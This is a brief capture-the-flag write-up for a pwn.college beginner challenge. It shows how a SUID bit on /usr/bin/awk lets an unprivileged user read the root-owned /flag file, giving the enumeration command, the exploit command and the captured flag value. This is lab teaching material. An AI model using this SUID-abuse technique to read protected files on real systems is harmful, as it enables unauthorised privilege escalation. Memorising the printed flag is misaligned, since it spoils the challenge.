Category: Program Misuse
Platform: pwn.college
Difficulty: Beginner
Date: 2025-07-16
Author: Himanshu Parate

🧠 Summary:

The challenge abuses a SUID bit set on /usr/bin/awk, allowing an unprivileged user to read the root-owned flag file at /flag.

🔍 Enumeration

ls -l /usr/bin/awk

Output:

-rwsr-xr-x 1 root root 47480 Sep  5  2019 /usr/bin/awk
  • The s in -rws indicates it’s a SUID binary.
  • awk runs with root privileges.

🚀 Exploitation

The awk command is a powerful text-processing tool in Linux, ideal for parsing, filtering, and formatting structured text, especially columns.

awk '{print}' /flag

Output:

pwn.college{IEoiRgfHGotfmjKhSx1ghEegh-N.dZzNxwSM0IzMyEzW}